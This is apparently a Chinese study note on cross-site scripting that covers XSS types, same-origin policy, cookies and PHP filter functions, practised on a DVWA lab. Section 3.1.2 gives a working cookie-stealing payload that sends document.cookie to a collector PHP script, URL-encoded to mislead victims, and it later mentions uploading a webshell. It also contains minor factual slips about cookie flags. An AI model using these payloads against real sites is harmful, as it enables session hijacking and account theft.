程科学习xss

1、XSS 介绍及分类
1.1XSS 漏洞介绍

XSS又称为跨站脚本攻击，XSS的重点不在于跨站点，而是在于脚本的执行，是一种经常出现在Web应用程序中的计算机安全漏洞，是Web应用程序对用户的输入、输出过滤不足而产生的，它允许攻击者将代码植入到提供给其它用户使用的页面中。

xss可以理解为一种注入。

注入，简单理解 就是 用户输入的数据，被插入到了前端页面当中（虽然有点抽象，但理解就行）

总结也就是 用户输入的数据，被当作了前端代码进行执行。

1.2反射型xss

反射型跨站脚本（Reflected Cross-Site Scripting）是最常见，也是使用最广的一种，反射型 XSS 的利用一般是攻击者通过特定手法（如电子邮件），诱使用户去访问一个包含恶意代码的 URL，当受害者点击这些专门设计的链接的时候，恶意代码会直接在受害者主机的浏览器上执行。

注入点： 网站的搜索栏、用户登录入口、输入表单等地方。

攻击方式： 攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时，服务器接受该目标用户的请求并进行处理，然后服务器把带有XSS的代码发送给目标用户的浏览器，浏览器解析这段带有XSS代码的恶意脚本后，就会触发XSS漏洞。 

<script>alert(/xss/)</script>

1.3存储型XSS

存储型跨站脚本（Stored Cross-Site Scripting） 此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本，攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中造成持久化的攻击。

常见注入点：论坛、博客、留言板、网站的留言、评论、日志等交互处。

攻击方式：攻击者在发帖或留言的过程中，将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来，恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时，恶意脚本就会在用户的浏览器中得到执行。

例：

name和Message字段都存在存储型xss。虽然name字段限定了输入的长度，但是我们前端修改下表单maxlength或者抓包修改就行

<script>alert(/Name/)</script>

<script>alert(/Message/)</script> 

 1.4 DOM型XSS

这里单独将DOM型XSS作为一个类型来讲，因为它并没有将恶意代码存储到数据库内。DOM XSS是基于文档对象模型（Document Object Model）的一种XSS。DOM型XSS一般和服务器的解析响应（也就是网站后端）没有直接关系，而是在JavaScript脚本动态执行的过程中产生的。

注入点：通过js脚本对对文档对象进行编辑，从而修改页面的元素。也就是说，客户端的脚本程序可以DOM动态修改页面的内容，从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的，所以基于DOM型的XSS漏洞不需要与服务器d端交互，它只发生在客户端处理数据的阶段

攻击方式：用户请求一个经过专门设计的URL，它由攻击者提供，而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本，当用户的浏览器处理这个响应时，DOM对象就会处理XSS代码，导致存在XSS漏洞。

例：

这段JS代码是本地执行的，获取本地输入的URL栏上的default参数再直接嵌入到option标签中的，因而可以直接往default参数注入XSS payload

<script>alert(/XSS/)</script>

 查看前端源代码可以看到payload作为option标签内容插入option中，所以会执行

2 XSS 相关知识
2.1 浏览器同源策略介绍
2.1.1 源的含义
源指源头，信息来源的位置。在计算机中源在RFC6454文档中规定，源是由协议、主机名、端口名组成。

范例： 协议://主机名:端口号/

例如：http://www.example.com 与 https://www.example.com 不是同源。

2.1.2 同源策略
在计算机中，同源策略（Same-origin Policy , SOP）用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。

只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下，不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的。

例如：源A页面要访问源B页面认证Cookie，如果不加阻止读取Cookie，会造成Cookie欺骗绕过登陆验证。

注意：同源一定要是 协议、主机名、端口号完全一致。

2.1.3 IE 源的特殊处理
1、位于可信域（Trust Zones）的互信的域名间，不受同源策略限制。
2、IE在判断同源时不考虑端口。

可是通过document.domain 读取或修改源。但是有限制，修改之后的源不能通过其他脚本再次修改。

2.1.4 document.domain
domain 属性可以解决因同源安全策略带来的不同文档的属性共享问题。降域 document.domain

同源策略认为域和子域属于不同的域，如：

child1.a.com 与 a.com，
child1.a.com 与 child2.a.com，
xxx.child1.a.com 与 child1.a.com
两两不同源，可以通过设置 document.damain=‘a.com’，浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信，两个页面必须都设置documen.damain=‘a.com’。

2.2 Cookied 的 httponly 设置
2.2.1 Cookie 介绍
指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据（通常经过加密）。

Cookie 是在 HTTP 协议下，服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器（客户端）上的小文本文件，它可以包含有关用户的信息。无论何时用户链接到服务器，Web 站点都可以访问 Cookie 信息 。

目前有些 Cookie 是临时的，有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间，一旦超过规定的时间，该 Cookie 就会被系统清除 。

2.2.2 Cookie 作用
cookie是存储再客户端上的一小段数据，浏览器（即客户端）通过HTTP协议和服务器端进行cookie交互，通常用来存储一些不敏感信息。

2.2.3 清除 Cookie

1、通过浏览器工具清除cookie；
2、通过设置cookie的有效期来清除cookie：删除cookie可能会导致某些页面不能用。

2.2.4 Cookie httponly

setcookie(“abc”, “test”, NULL, NULL, NULL, NULL, TRUE); 设置secure参数为true之后，就不能使用js获取cookie.

2.3 XSS-Filter 过滤器介绍
2.3.1 htmlspecialchars() 函数

语法：
htmlspecialchars(string,flags,character-set,double_encode)

参考链接：
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

2.3.2 htmlentities() 函数
这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如，用户输入<时，就会被该函数转化为HTML实体<（<），输入>就被转为实体>.

语法：
htmlentities(string,flags,character-set,double_encode)

参考链接：
http://www.w3school.com.cn/php/func_string_htmlentities.asp

http://www.w3school.com.cn/html/html_entities.asp

2.3.3 strip_tags() 函数
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释：该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释：该函数是二进制安全的。

语法：
strip_tags(string,allow)

参考链接：
http://www.w3school.com.cn/php/func_string_strip_tags.as

2.4 编码转义介绍

XSS与字符编码的那些事儿_ABC-II-CSDN博客

3、XSS 基本应用
3.1 XSS 盗取 Cookie
3.1.1 Cookie 介绍
Cookie 是在 HTTP 协议下，服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器（客户端）上的小文本文件，它可以包含有关用户的信息。

目前有些 Cookie 是临时的，有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间，一旦超过规定的时间，该 Cookie 就会被系统清除

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息，以判断在HTTP传输中的状态。

Cookies最典型的应用是判定注册用户是否已经登录网站，用户可能会得到提示，是否在下一次进入此网站时保留用户信息以便简化登录手续，这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品，这些信息都会写入Cookies，以便在最后付款时提取信息。

3.1.2反射 XSS 盗取Cookie

存在反射型XSS漏洞的站点位置 可以利用以下链接来盗取Cookie

url?uname=<script>document.location=http://ip/cookie.php?cookie=”+document.cookie:</script>

将连接发送到用户，用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。

cookie.php代码:

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

链接：

http://192.168.1.2/dvwa/vulnerabilities/xss_r/?name=<script>document.location="http://192.168.1.2/xss_test/cookie.php?cookie="+document.cookie</script>
URL编码：

http://192.168.1.2/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F192.168.1.2%2Fxss_test%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3C%2Fscript%3E

3.1.3 利用 Cookie 会话劫持

打开Cookie.txt文件，找到Cookie值，访问目标站点，修改Cookie为Cookie.txt文件中的内容。

 

3.1.4 劫持会话后的操作

1、进入后台寻找上传点等进一步利用漏洞给
上传一句话Webshell。

2、修改配置等。

3.2 XSS 篡改网页链接

详情

XSS篡改网页链接学习记录_T0mrvvi1b3t的博客-CSDN博客

BeEF-XSS详细使用教程_星落的博客-CSDN博客_beef-xss

3.3 XSS 盗取用户信息

XSS盗取用户信息实验(详细)及xss之旅闯关 - m0re - 博客园

4 xss各种姿势

XSS学习-从入门到入狱_hey布白的博客-CSDN博客_xss教学

5、 XSS 测试

5.1 XSS 发送的位置

5.1.1 GET 型 URL 中的 XSS

如果在URL中提交的参数值，在页面中显示。很有可能就存在XSS。

5.1.2 POST 型表单中的 XSS

如果在表单中提交的参数值，在页面中显示。很有可能就存在XSS。